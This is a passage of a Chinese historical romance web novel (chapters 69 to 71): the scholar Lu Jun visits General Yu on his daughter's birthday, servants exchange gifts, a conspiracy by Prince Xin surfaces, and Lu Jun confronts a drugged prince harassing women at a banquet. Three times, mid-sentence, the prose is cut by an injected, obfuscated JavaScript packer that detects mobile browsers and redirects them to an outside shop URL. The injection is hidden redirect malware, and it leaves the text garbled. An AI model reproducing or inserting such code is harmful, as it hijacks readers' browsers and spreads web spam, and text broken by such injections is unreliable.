虞绍的样貌原本就带着凶相，尽管他用极为平和的眼神，但照样是凶巴巴的。 席上，虞浅浅跟温昭姊妹俩又说起玩笑话。 “表姐，你今天怎么总走神？”虞浅浅问。 虞雪怜扯唇笑道：“昨天夜里没歇息好。” 鸦青色云纹织锦长袍映入眼帘，男人慢步随丁管家入院，进正厅。 陈瑾惊诧，他哪像新科状元郎？在这儿一站，说他为官许多年，她绝对不质疑。 陆隽先是带有歉意地作揖，声音温润低沉：“今日陆某向虞将军道谢，无意打搅诸位用膳。” 丁管家接过观言奉上的厚礼，虞鸿对他使了眼色，他便退下了。 “不打搅。”虞鸿笑道，“府上布膳早，还不到午时。” 说着，虞鸿吩咐小厮搬来圆凳，“陆大人，同我们一起用膳。” 陆隽却不扭捏推辞，坦然地坐在虞绍身旁。 气氛变化微妙，虞雪怜琢磨不透，陆隽今日突然登门的用意，仅是为了向父亲道谢吗？ 她并未告诉陆隽，她的生辰是哪日。 况且，陆隽很是注意跟朝廷官员之间的距离。他来金陵也不是一日两日，更不轻易到府邸找她，偏偏选在今天来府上。 虞绍让小厮给陆隽斟了一杯茶，道：“陆大人是在礼部任职？” 陆隽回道：“是。” 虞绍不擅长交际，也不想过多探问陆隽，于是恢复了闷声不响。 虞鸿也知陆隽不能再饮酒，所以让小厮接着去煮一壶茶。 “诶，陆状元看着有点眼熟。”虞浅浅开口问道，“陆状元是不是来过？” 虞鸿皱眉说：“浅浅，陆状元何时来过府邸？” 虞雪怜抿唇道：“爹爹不记得了？去年祖母生辰，陆状元来过。” “有这事吗？”虞鸿匪夷所思地说，转头问陆隽，“陆状元去年便来过我府上？” 亏得虞鸿今日没喝酒，不然他当真感觉自个儿喝醉了，陆隽怎会到母亲的生辰宴呢。 虞鸿看着虞雪怜，心下狐疑，穗穗怎么记得这般清楚？ 69. 荒唐 陆隽道出他老师和张先生的名字，虞鸿若有所思地道：“你老师原来是陈大人。” 提起张泰禾，虞鸿自然也想起陈昌石。 这二人早些年便辞官养老，那时候上朝没有一天是消停的。内阁辅臣跟冯璞玉明争暗斗，两派的气焰一个比一个烈，在太和殿唇枪舌剑的。 虞鸿之所以记得这么清晰，是因那两年被弹劾，被贬黜到岭南的官员前后有十余人。 他身为镇国大将军，虽捋不清这弯弯绕绕，却也知道其中的利害。隐隐担忧圣上的大手伸到他这里来。 虞鸿笑着说：“陈大人当年舌战群儒，你瞧着倒不像他学生。” 陆隽无意要在饭席谈论自己或老师，今日冒然登门拜访，已是失礼。他微微颔首，拿起茶盏，道：“陆某以茶代酒，敬虞将军。” 虞鸿眯眼跟陆隽碰杯，问：“你身子如何了？” 陆隽回道：“并无大碍了。” 陈瑾看陆隽谦逊有礼，谈吐大方，可举止过于谨慎了些，入座到现在，都不见他提筷。 她轻咳一声，笑道：“陆状元，莫要见外，动筷用膳吧。” “这些膳食，酸的，甜辣的，你看看有没有喜欢的。若够不着，只管起身，到了饭桌，可不能饿着肚子。” 即便席上突然多了一人，但没人觉得不舒服。 虞浅浅兴致来得快去得快，且陆隽来过一次府邸，酒令牌玩得不好，总是输，像木头似的。 其次，她读书差劲，见了喜欢读书的人就发怵。 虞浅浅闷头吃着自己喜欢的粉蒸肉。 温昭姊妹则是问虞雪怜后花园都种了什么花，若有芍药，能摘些回去做酥饼吃。 末了，丫鬟们过来收拾饭席。虞雪怜她们去了后花园。 虞鸿想着留陆隽闲聊片刻，就带他去了东院的书房。 “实不相瞒，今日是小女的生辰，故而我和夫人紧着照顾她，想让她过得高兴。席上若怠慢了你，绝非我本意。”虞鸿饭后有练剑的习惯，他擦试着剑刃，道，“你家中没有兄弟姊妹帮扶，刚入朝是要辛苦些，但不必为此讨好那些败家子。” 虞鸿讨厌说虚话。诚然，他读的书肯定不如陆隽多，但他吃的盐多，走的路多……在沙场杀的敌人也多。 跟随先帝的忠臣有一大半被圣上剔除，镇国将军府能到今日，不全是他运气好，有夫人掌舵，长子驻守边疆，圣上不会草率地把他过往的战绩灭为云烟。 “还有——我不是文官，你在我面前不用说那么多敬语。”虞鸿实在听得头痛，这也是他从不跟文臣结交的原因。 “是。”陆隽说，“虞将军的话，我记下了。” 陆隽不仅仅是单纯来向虞鸿道谢，他问道：“将军喜欢用双手剑练武吗？” 虞鸿稀奇地说：“你知道我这是什么剑？” 不懂行的认不出双手剑，就只知剑有长短之分。 “我看过两本南郢记载兵器的书。”陆隽说，“书上简单的勾画了兵器的轮廓形状。若是寻常习武之人，其实不敢用双手剑。” 虞鸿摇头笑道：“我当你在哪儿见过这剑呢。”他双手持剑，让陆隽凑近观察，“书上画的，比不上亲眼看着爽快。” “这书上说得倒不错，我用的这把剑有十斤重。耗费体力不说，要是哪天倒霉，指不定还会砍着自个儿的胳膊和腿。” 陆隽对兵器不甚了解，但也接得上几句话：“我在镇上见过一次苗刀，和将军的双手剑有些相似。” 虞鸿挑眉说：“苗刀？这东西可不常见了，是黔中郡那一带打磨的。苗刀的杀伤力颇大，有不少土匪头子去黔中郡买，朝廷屡次剿匪失败，就败在这苗刀。” 千想万想，虞鸿想不到能和陆隽谈兵器。往后谁说百无一用是书生，他坚决反驳！书生能把看着昏昏欲睡的字记进脑子，写出来一篇让众人夸赞的文章，怎能说人家百无一用？ “可惜你的手是握笔杆子的。”虞鸿把剑放回去，说，“若有机会，我教教你握剑。” 这回虞鸿的语气不像是客套话。陆隽笑意清浅，虞将军不会知道，他吃酒为的不是讨好翟佑，看记载兵器的书为的才是讨好。 他讨好虞将军，是不想虞将军觉得他无趣乏味，是个苦读书的书呆子。 陆隽应道：“若有机会，还请虞将军勿要忘记此事。” 虞鸿看陆隽愈发顺眼，开怀笑道：“你怕我骗你不成？我倒怕陆状元握着毛笔的手不习惯握刀剑。” “不若我送陆状元一把防身用的短剑。” 先帝在世重武轻文，现今陛下重文轻武。倘今后陆隽跟他来往密切，若让有心之人知晓，去陛下那儿参他一本奏折，再惹陛下猜忌他，影响陆隽的仕途。 虞鸿半点藏不住事，嘴上不言说，事都写在脸上了。 陆隽目不转睛，虞将军的脸色忽欢喜忽凝重，想来是添了忧虑之事。 于情于理，他和虞将军不该有来往。 身在礼部，要时刻杜绝私下跟武将有交情。这一点，侍郎大人在他进礼部衙门着重强调过。 陆隽道：“若让翟佑他们见了陆某身上有短剑，恐要向尚书大人告状，说陆某为了躲酒，无所不用其极。” 虞鸿笑问道：“你还怕这个？” 陆隽解释道：“等陆某用得上短剑防身，虞将军再送给陆某吧。” “你想的够长远。”虞鸿缓了缓思绪，陆隽拿翟佑和尚书大人做借口，为的是什么……？ 虞鸿蓦地一滞，陆隽说的话若不仔细寻思，他就当玩笑话听了。 拿尚书大人和翟佑做借口，为的能是什么？ 虞鸿偏头去瞧陆隽。陆隽这人，似乎不是块石头。他没有所谓的文人傲骨，一身简单的长袍，瘦而不弱的身材，嘴角的笑如他人一样收敛。 陆隽说：“陆某年少失去双亲，思虑的是要长远些。” 虞鸿闻言感慨：“我长子虞牧，应和你差不多的年纪。我年轻时的脾气暴躁，虞牧又反应慢，一度把他骂得狗血淋头。我就他这一个嫡子，那会儿真是郁闷发慌，他若不是练武的料子，镇国将军府便少了一根柱子。” 虞鸿背过身，叹了一口气。他从不在外人面前说这番话，都道他心宽，舍得儿子去边疆。他不舍得又如何呢？舍不得儿子，镇国将军府怎能有安宁之日。 陆隽望着虞鸿的背影，回想曾在虞穗身旁的“弟弟”，今日虞将军的话，也算落实了他的猜测。 虞穗没有弟弟，她骗了他。 “虞将军是好父亲。”陆隽夸赞的话略显生硬，但语气真挚。 陆隽看了自景元一年至九年的所有公文，共四百五十篇，而景元五年的公文占了一百余篇，是以他逐句细读。那年调遣贬黜官员频繁，后来得知是内阁和冯璞玉的党羽相争，殃及朝臣。 虞将军让长子奔赴边疆，图的不过是保全镇国将军府。 如此，便能知悉虞穗歇息不好的缘故。她在替她父亲和长兄顾虑忧心。 虞鸿悠悠地笑道：“怎么陆状元说的话，都很中听呢。”他灵光一现，说，“这是不是应了你们文人说的那句话，听君一席话，胜读十年书？不像我，把不住嘴，一眨眼的功夫就得罪别人了。” 陆隽慢条斯理地说：“虞将军言重了。有些人听不得实话，然陆某不讲假话，也得罪人。” 虞鸿深有体会：“这话在理。老子……”他捂嘴清了清嗓子，扼杀掉想说的粗话，“老子有云，忠言逆耳，你说的这种人，我得罪一大半了。明明本事不大，口气不小，引来一群溜须拍马的家伙扰乱朝廷。” 虽然此老子非彼老子，起码忠言逆耳一词是存在的。 不能送刀剑给陆隽，送书行罢？ 虞鸿走到书架前，上面没放几本圣贤书。 “陆状元可有兴趣读兵书？”虞鸿问。 “陆某不挑书，四书五经，唐诗宋词，皆读。” “我这儿有你没读过的。”虞鸿扒拉出一本积灰的《孙子兵法》，他拍了拍书封，“这本书上了年月，是我刚成亲那会儿买的，送你了。” 陆隽接下兵书，说：“既是虞将军成亲时买的，待陆某读完，还给虞将军留着做念想。” “还甚么？”虞鸿摆手说，“不要啰嗦，送你就是送你了，你便收着。” 他们谈话有一炷香的时辰了，远超乎虞鸿的预料。 * 热气未消，女眷仍在后花园乘凉。 今日兰园的小丫鬟和良儿在旁伺候几个女娘，上果子糕点，祛暑的荔枝膏水。 后花园这一处嬉笑不断。观言正站在抄手游廊喂蚊子，脖子上连着被蚊子吸血咬了两个红疙瘩，他来回晃手驱赶蚊子，“去！去那边，我快被你咬死了！” 观言天真的想着，主子和虞将军聊不了太久。一个饱读诗书的状元郎，一个征战沙场的大将军……主子在府邸就不爱说话，跟虞将军能合得来吗？ 他怎知道，主子如此善谈！观言挠着脖子，话说回去，女婿当然想跟岳丈打好关系，若在未来岳丈面前做哑巴，也不讨喜。 “你在这自言自语什么？” 金盏从菱形拱门走出来，环视四下无人，她蹑手蹑脚地走到抄手游廊这边。 观言一惊，他捂着脖子，笑道：“我在帮贵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14120263|131724||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 府赶蚊子呀。” “嘴贫。”金盏揪着观言的衣袖，把他扯到柱子后面，免得让人发现。 “娘子这是作甚。”观言细皮嫩肉的圆脸仿佛被火烤了，瞬间涨红，“我，你，这让贵府的小厮丫鬟瞧见，不好。” 金盏嗔他一眼，说：“你想哪儿去了？”她的手摸索着衣袖，掏出青花瓷瓶，“给你，这是紫云膏，止痒的。抹了蚊子就不逮你咬了。” 观言结巴道：“哦，谢，多谢姑娘。” 他害臊地垂头，真是没脸见人了！ “还有，”金盏另一只手攥着香囊，她展开手掌，低语道，“这是我家娘子做的香囊，里面有柑橘皮和薄荷叶，最适合醒酒。你拿好，记得转交给你主子。” “对了，娘子要你帮忙传几句话。她说香囊是前几日做好的，没来得及送去陆府。不想陆大人的身子因醉酒伤着，这香囊送得迟了……望陆大人以后出府能贴身带着这香囊，夜里睡着了，要把它取下，否则会难以入眠。” 观言两手错乱，把香囊装进布袋，万幸他今日没把铜版扔进去，不然染了钱臭味就难办了。 “奴才保证一字不漏地传给主子。”观言说。 金盏的手指指着自个儿的脖子，笑盈盈地说：“早点涂上紫云膏，别把我们这府邸的蚊子给喂饱了。” 观言支吾道：“奴才省得。” 话罢，金盏转身要回兰园。 观言当即一敲脑门，他这猪脑，光记着等主子，主子吩咐的事，忘得是一干二净。 “金盏姑娘，你且留步。”观言忙不迭地追上去，道，“今日是虞娘子的生辰，主子也备了生辰礼。” 后花园的嬉笑声小了，观言停顿了一下，说：“奈何目前不便在娘子的府邸相见，主子吩咐奴才，若奴才能见着娘子或金盏姑娘，道声生辰吉乐。” 金盏抱臂说：“陆大人吩咐你这等重要的事，你刚才就傻站着喂蚊子？想见娘子是难了点，你怎不想个法子寻我？” 观言惭愧认错道：“奴才愚笨，半晌想不出个妙法。”他本就没气势，金盏这么一说，更是抬不起头，“我本准备等主子过来，请他给奴才拿主意。好在金盏姑娘机灵聪明。” 说到此处，观言将陆隽给他的信笺捧给金盏，说：“主子对娘子所言，写在这信上了。” “那你可得找个日子谢我了。”金盏语气轻快，把信放入袖口，安慰道：“你的差事办妥了，我的差事也办妥了。你去老爷书房外的榆树下等候陆大人，那里凉快，蚊子少。” 观言感激涕零，对金盏躬身以表感谢。 …… 是夜，月光暗弱，黄黄的，像是放冷掉的，失了新鲜的团圆饼。 观言在厢房外打盹，他睡得浅，听到悉悉窣窣的衣料声，立刻问道：“主子，您沐浴完了？” 他跟主子接近晡时回陆府。那鸿胪寺的吴主簿来了，同主子一顿谈天说地，用了晚膳就走了。 “进来。”男人疲倦地回道。 观言利索地推开房门，然后搬着木桶出来，“主子，奴才去把水倒了。您明日还要去礼部呢，早些上榻歇息。” 房内的香料燃尽了，桌案放着丝绸织成的银色如意纹香囊。 柑橘的酸甜，薄荷的清凉，非但没有让陆隽醒神，反而使得他困乏。 陆隽熄灭灯盏，躺在床榻上，闭眼是虞雪怜的一颦一笑。他半梦半醒，只见一轮轻纱蒙着的小船。 他置身在其内，虞穗的襦裙、亵衣、罗袜悄然消失。 陆隽身上没有一处是软的，他僵硬着坐在她对面，欲要移开视线。可梦中并不如他愿，他的眼睛看向哪面，虞穗便在哪面。 女子喃喃问道：“陆大人，你为何不看我？”她继续一次一次地唤他名字，“陆隽，你为何不看我。” 她的手环上他的脖颈，不准他躲闪，“你要做忘恩负义的郎君吗。” 陆隽挣脱不出，抑或是不想挣扎，他问：“我要如何报恩？” 虞穗吐舌说道：“陆大人需要我教？” 她贴着他的胸膛，好似在用脸蹭他。大抵是怕他又逃脱，两只手忙碌地上下乱摸，她的手时而凉，时而烫。 陆隽喉结微动，他没做过荒唐事，却做了荒唐梦。 无人能窥见，谈何荒唐。 陆隽按住虞穗的手，托起她的脸，俯身吻她的唇。 他纠缠着她。似是久在沙漠未尝甘霖的可怜亡命者，想要一举吞噬下去，弥补前些年的口渴，滋润干裂的唇。 小船往水深处游走，晃荡着，晃荡着——随之戛然而止，陆隽睁眼，鼻尖萦绕一缕柑橘的味道。 70. 戳穿 白瓷烛台立在案上，火苗扑闪，映在虞雪怜的脸颊，她两腮淡红，清早涂得那一层口脂也薄了。 虞雪怜尚未歇息，她坐在书案前，看着陆隽写的书信。 金盏端着洗盆进厢房，轻声说：“娘子，入夜了，该梳洗歇息了。” 今日轮到良儿去耳房睡，金盏在厢房伺候。 “不急，还没到子时。”虞雪怜折了信纸，把它放进木奁。 这木奁原是用来放她喜欢的首饰，她年年要买耳铛发钗，?母亲隔两个月就带去高淳老街逛商铺，所以闺房里边首饰多，?奁盒?也多，这木奁就闲着了。 “娘子，您明早要去老太太房里请安呢。”金盏提醒道，“夫人可是特意跟奴婢说了，督促娘子早些上榻，明日不要起晚了。” 说着，金盏走过去给虞雪怜摘发钗，晃眼间瞥见案上有一支银灿灿的玉簪。她每日给娘子梳头挽发，金的银的，工艺复杂的簪子发钗，哪样没见过？ 可她不曾见过这簪子。 金盏拿着梳篦，从上至下捋顺虞雪怜的乌发，她忽然想起什么，蓦然笑问道：“娘子，玉簪是陆大人送的生辰礼吗？” 虞雪怜点头：“这玉簪和信笺是一起的。” “难怪观言给奴婢信笺的时候，双手捧在我面前，生怕弄掉了。”金盏放下梳篦，继而解开虞雪怜腰间的系带。 虞雪怜沐浴后便只穿了件素纱裹着，褪去就剩下织锦丹朱亵衣。 “下回见观言，你再送他一瓶紫云膏，暑天长，勤涂抹着，防蚊。”虞雪怜趿覆往床榻那边去，许是白日和温嫱饮了荔枝酒，不怎么困。 金盏脱了外衣，拾掇着自个儿的床铺，“娘子，若不是今日您叫奴婢去找观言，他呀，要被蚊子咬的满身都是疙瘩。奴婢要是不去寻他，陆大人写的信笺，还不知道能不能送到娘子的手里。” “观言说，说要好好谢我一番。” 虞雪怜笑道：“是了，你今日可是功臣。” 金盏半羞半喜地说：“娘子折煞奴婢了，奴婢是听娘子的吩咐才去找观言，不算是功臣。” 虞雪怜侧躺着，低笑出声。 “娘子，”金盏掖了掖被褥，小心翼翼地问道：“奴婢本不该问，但着实好奇，陆大人给娘子写了什么？” 老爷夫人用午膳那会儿，她亲眼瞧着，陆大人几乎是沉默的。老爷问他话，他回一句，柔风细雨似的，旁人若不站近点，压根听不见陆大人跟老爷说的是什么。 所以她很是诧异，陆大人腼腆，却做着截然相反的事。饭席上，陆大人分明没有看娘子一眼——也可能是她没瞧见，总之她不说，老爷和夫人，绝对想不到娘子和陆大人有……男女之情。 虞雪怜沉吟良久，说道：“陆隽写的书信，我读了不下三遍，大致也明白他的意思。” 她说的是实话，倒不是为了敷衍金盏，才说得这么云里雾里的。 “啊？”金盏似懂非懂地说，“陆大人，给娘子写的，不是情诗吗？” “或者，是倾诉思念的话？” 虞雪怜缄默不语，若是陆隽写了情诗，她会怀疑这封书信是假的。 她也不确定陆隽写的是否在说，他在挂念她。 虞雪怜索性说：“陆大人所言，是祝我生辰吉乐。但他用的言辞，要多读几遍才能悟出来。” 金盏咂舌道：“毕竟今日是娘子的生辰，奴婢还以为陆大人写了说不出口的话。可这也像是陆大人的性情，斯文单纯。”她捂嘴说，“奴婢这会儿想想，就觉得好笑，如果方才娘子告诉奴婢，陆大人写了什么肉麻的话，奴婢怕是要起一身鸡皮疙瘩。” 平常便是冷脸的人，岂会面无表情地写情诗。 “你说的有道理。”虞雪怜的眼皮变得沉重，逐渐听不到耳边的声音。 * 翌日，虞雪怜到老太太的房里请安。 老太太让陪着吃早茶，虞雪怜坐了半刻钟，说要去鹿鸣斋听女先生讲课。 下个月女先生要离府了，这事老太太也知道。女先生在镇国将军府教了一年，若临走时懒散拖沓，有违尊师重道这四个字。老太太挥挥手，让虞雪怜快些去读书。 偏不巧，今儿个女先生身体抱恙，只说让她们这些女娘先在闺阁练字，明日再准时抽查。 虞雪怜从鹿鸣斋出来，路过虞鸿的书房，想着进去拿本兵书。 金盏咦了一声，道：“娘子，你看，那是浮白吗？” 虞雪怜停下脚步，见少年穿着宝蓝官袍，步履稳重地下了书房的台阶。 浮白闻声而望，旋即向虞雪怜走来。 “参见娘子。”浮白作揖道，“属下刚和老爷说兵部的事，正准备去兰园。” 虞雪怜抿唇道：“你先随我换个地方说话。” 从浮白进了兵部，他很少在镇国将军府吃住。兵部的郎中大人赏识浮白，今年提拔他为亭长，分给他一座小宅院。 虞雪怜支走金盏，带浮白去了后院的阁楼。 “你查的事，有进展了吗？”虞雪怜问。 浮白欲言又止，犹豫地说：“属下查到一些线索。” “在此之前，属下有另一要事禀报娘子。” 虞雪怜不禁心下一紧，浮白办事稳妥，遇急事亦不慌不乱。她虽有几个月没见他，可他的神情，致使她也跟着不安。 “是何事？” “郎中大人十天前派属下去礼部借阅公文，是陆公子接待的属下。”浮白愧疚地说，“陆公子，他知晓了属下并非娘子的弟弟。” 那日，浮白完全毫无预防，接待他的人是陆隽。 陆隽问起他姐姐，跟他一同去礼部的书令史大笑，说陆隽认错人了，浮白哪有姐姐，仅有一个长兄在军营。 浮白杀了书令史的心都有。书令史的话，间接戳穿了虞娘子的谎言。 他今日是来向虞雪怜谢罪的，“属下给娘子添了麻烦，请娘子责罚。” 虞雪怜一时哑然，过了片刻，她说道：“他可有问你话？” 浮白答道：“没有。” 虞雪怜的手搭在琴弦上，弄出一道刺耳的乐音。陆隽知晓她骗了他，会如何想她？ 可若是对她有成见，昨日又怎么给她书信，送她玉簪？ “罢了，这不怪你。”虞雪怜脸上的腮红跟着她的语气变沉，似有乌云笼罩，“说谎总是要被拆穿的，我早晚要跟陆隽坦白道歉。这件事……应当不严重。” 严不严重，她自己心里也没底。 虞雪怜整理好情绪，问道：“你查到的线索呢？” 浮白说：“属下今年做了亭长，管着南郢往年征兵的花名册，发觉有些人头和名字对应不上。” 虞雪怜眸光微亮，适才的怅然消去了大半，她问：“这其中有何蹊跷？” 浮白屏声静气地看着虞雪怜。 他起初并不相信娘子说的，有奸人在暗处谋划阴谋，要陷害镇国将军府，陷害老爷。浮白反复思虑，娘子是老爷的亲女儿，她不会拿镇国将军府的安危来戏耍他，且这番话，娘子只告诉了他。 退一万步说，纵使娘子杞人忧天，防患于未然，也无过错。 他入兵部就着手调查奸臣，见缝插针。依着娘子的指示，若有谋反之意的朝臣，他便去搜寻证据。 可是这做法像无头苍蝇乱转，找不到一丝线索——浮白把矛头放在了几个亲王身上。 浮白道：“上元节，属下趁信王府护卫怠惰，夜里溜进府邸，探出信王豢养了一批死士。因天黑，属下无法确认死士究竟从何而来，念及不能鲁莽行事，属下没有当即禀报娘子。” “次日，属下白天乔装打扮闯进信王府，府邸冒出一队训练有素的护卫，身高七尺二寸，出手敏捷，方方面面，和南郢征兵要求极其相似。” 贤良文雅，为百姓着想，不争 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14129627|131724||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不抢的信王殿下，府邸豢养死士，若暴露于天光，恐怕会被世人当作谣言，百姓会为信王殿下愤慨。 虞雪怜唇角嗫嚅，莫说是世人，连她自己都要缓一缓。 上辈子爹爹死不瞑目，受了如此灭顶之灾，却全然不知是谁陷害的。 她在教坊司猜疑过许多大臣，燕王、赵王，唯独没有猜疑信王。 虞雪怜问：“明确是信王了吗？” 浮白的眼窝一片青黑色，他屈身说道：“属下查了半年的信王府，若不明确，今日不会来见娘子。” 如今他对娘子的话深信不疑。 信王有谋反夺位之意，兵权是最不可缺的。信王迟早要让老爷站他的营地，到那时，便是老爷的灾祸。 要跟信王斗，等同于逆流而上。 虞雪怜目光灼热，既明确了信王是敌，她不能松懈分毫了。 ……… 六月初，信王府给小王爷李铄的嫡子办了满月宴。 镇国将军府收了李铄差人送的请帖。 满月宴的帖子近乎撒了满城的权贵。信王殿下抱上了孙子，陛下派冯璞玉亲自去王府送赏赐，据说抬了六箱，具体装了什么，唯有王府的丫鬟小厮清楚。 赴满月宴的宾客足有百余个。小王爷的兄弟好友，小王妃的娘家人，其他便是朝廷的官员。 信王府充斥着热闹，长辈在前院用膳，小辈则在后院。 “怜娘，他们说信王府的厢房比客栈的还多。若没有王府的丫鬟领着，就会走错迷路。”温昭挽着虞雪怜，她皱眉说，“我见今日来王府的人，有燕王世子，我们要避着他。” 画舫一事，温昭至今忘不了。她每每想到虞娘子中药酒的模样，常常心有余悸。燕王世子实乃禽兽，她们惹不起，尽力当一只容易受惊的雀鸟，逃的远远的。 虞雪怜应道：“等进了厢房，我们不出来便是，宴席散了，就跟着淮阳郡主出府。” 她们前边的女娘边走边观赏王府的假山，语笑嫣然。 温嫱回头看她们，说：“快跟上，莫要犯蠢，在这王府走丢了，我可不去找你。” 显而易见，这句话是冲着虞雪怜说的。 虞雪怜笑道：“我和昭娘这就走快些。” 女娘穿戴或是贵气，或是俏皮，擦的胭脂有红有紫。 倏忽，淮阳郡主花容失色，惊乍地喊道：“燕王世子，你疯了吗？” 虞雪怜的视线被女娘挡住，温昭吓得抓紧虞雪怜的胳膊，嘴唇颤抖：“怜娘，是，是燕王世子。” 男子轻佻傲慢，言语污秽不堪。 “淮阳郡主，你眼睛睁那么大，本世子很吓人吗？” 女娘纷纷往后退，淮阳郡主恼怒道：“你明知今日是小王孙的满月宴，故意到这里欺负人。” 她踹了李秉仁一脚，说道：“你吃了脏药，别靠过来。” 李秉仁阴郁的盯着淮阳郡主，他脸色潮红，嫌热地扯了扯衣领，说道：：“脏？本世子吃得是仙药，多少人求之不来的药。” “本世子估摸着，你到现在都不知道你母亲吃过仙药。” 淮阳郡主不容忍李秉仁这般作践母亲，她抬手要去扇他耳光，道：“我去告陛下，让他削了你。” 即使李秉仁看着是神志不清，力气却见鬼似的猛，他反手扼制淮阳郡主，“本世子是陛下的亲孙子，你是吗？皇爷爷是听你的，还是听我父王的？” 女娘纷纷散成稀散的沙子，李秉仁正如肆虐的风霾，吹得她们无处遁形。 李秉仁松了淮阳郡主的手，他扫视了一圈，踉踉跄跄地逼近虞雪怜。 “小娘子，是你坏了本世子的事。”李秉仁怨恨地说，“你毁了本世子的良缘。” “世子殿下。” 李秉仁揉了眼睛，站在他身前的是小娘子，叫他的怎是个男人的声音。 “下官陆隽，见过世子殿下。” 71. 病倒 陆隽今日穿常服，以玉冠束发。他不疾不徐地走向李秉仁。 杵在他身后的是两个着青袍蓝衣的男子，与陆隽算不得太熟，仅是顺路结伴而行。 本以为到了信王府，就如进了皇宫一样庄重安宁，不料在这儿碰上燕王世子轻薄女娘…… 若是在王府外，他们定要出言呵斥，可这是信王府，要保住头顶的乌纱帽，就得三思而行。 李秉仁一时看陆隽眼生，他听着名字，却觉得耳熟。 “怎么？”李秉仁轻蔑地说道，“现在随便一个下人都能做官儿了？几品小官也敢阻拦本世子。” 陆隽揖礼道：“下官不知阻拦世子殿下做什么了，只是走到此处，见了燕王世子，理应要叫殿下一声。” 受了惊吓的女娘还没缓过神。好在陆隽分散了燕王世子的注意力，淮阳郡主见状吩咐贴身女使去请小王爷。 淮阳郡主急切地说：“若你找不着小王爷，再去找小王妃，若他们二人抽不开身，那就请护卫来，把这混账赶出王府。” 言毕，她张罗着让女娘往后院的厢房去，离开这园子。 “怜娘，你别看了。”温昭捏紧虞雪怜的衣袖，“陆大人是男子，燕王世子奈何不了他。” 走为上策，虞雪怜担忧陆隽因此遭燕王世子报复。但眼下留在这里，也帮不了陆隽。 她和温昭姊妹随淮阳郡主走了，不忘回头看陆隽——他目光恰好落在她身上，眼神带有安慰之意。 两个男子上前替陆隽说话：“世子殿下，陆大人他在礼部任职司务，做事规矩。见您在这里，倘若装聋作哑，便是对殿下不敬了。” 李秉仁似笑非笑，他拿出塞在衣襟的药瓶，倒了三颗，道：“这么说来，本世子冤枉陆大人了。” “父王从小教本世子，对奴仆要赏罚分明。做对了，毫不吝啬地赏他们东西，今日陆大人敬我，本世子赏他几颗仙药。” “陆大人，这……”青袍男子心道是糟了，燕王世子何许人也？整天过得活色生香，把和乐丹当作饭吃，祸害了多少娘子。 离近看，燕王世子的面庞发红，且他又带了一瓶和乐丹，明摆着是服药过量了。 陆隽犹记得那次在岸边的画舫，燕王世子落水，上岸便是像眼前这样，胡搅蛮缠。 燕王世子手里的药丸，陆隽没见过，他想，无病之人不会吃药。燕王世子吃了所谓的仙药，而后衣衫不整，欺负女子，不难猜出这药丸的功效是什么。 陆隽垂眸说道：“世子殿下的心意，下官领了。既是仙药，只应仙人享用，请殿下收回。” 青袍男子暗暗松了口气。陆大人的言语巧妙，能拖一会儿是一会儿，等小王爷来了，才能给他们撑腰。这和乐丹万万不能吃，否则陆大人的颜面尽毁不说，若是惊动信王，这件事也是陆大人吃亏。 李秉仁本就不痛快，自李烁有了嫡子，父王在府中骂他中看不中用，他比李烁年长三岁，可他却没有儿子。 李烁办满月宴，给燕王府递帖子，他看完就撕了。 以前李烁打马球，请幕僚赏花饮酒，何曾给他递过帖子？ 李烁是在羞辱嘲讽他。 李秉仁的笑容阴冷，华贵的衣袍因纵欲显得腐烂，他说：“陆大人做了英雄，有了面子。本世子不问你要报酬，赏你东西，你若敬我，该把这药服下。” 那边，淮阳郡主的女使请来小王爷，急促地赶到园子。 李铄瞧见李秉仁这副德行，压着怒气，让护卫把他抬走送回燕王府。 今日是他嫡子的满月宴，李秉仁竟死性不改，这般乱来。 李铄决定待明日去景元帝那儿告状。 陆隽来信王府，是李铄差人去陆府送的帖子。南郢的状元郎，他早前便想结交，苦于找不到合适的理由，今日借着嫡子的满月宴，李铄请来不少他想见的人。 身份居于高位，即使有要见的人，也需拐弯抹角地寻机会。 李铄很是健谈，跟陆隽讲孔夫子写的文章，讲金陵的山川湖泊。那两个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14151753|131724||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 男子的嘴巴张了又合上，灰溜溜地跟在后面。 * 满月宴照常继续，左右不过是女娘在席上互相说说笑笑，跟小王妃道两句吉祥话，一直到黄昏方才结束。 虞雪怜想去趟陆府，可碍着马夫在，她只好先回镇国将军府。 朝廷官员上五天早朝即可休沐，虞雪怜数着日子，等到了陆隽休沐，遂带着金盏去陆府拜访。 她拢共来陆府两次，次次赶上雨天。 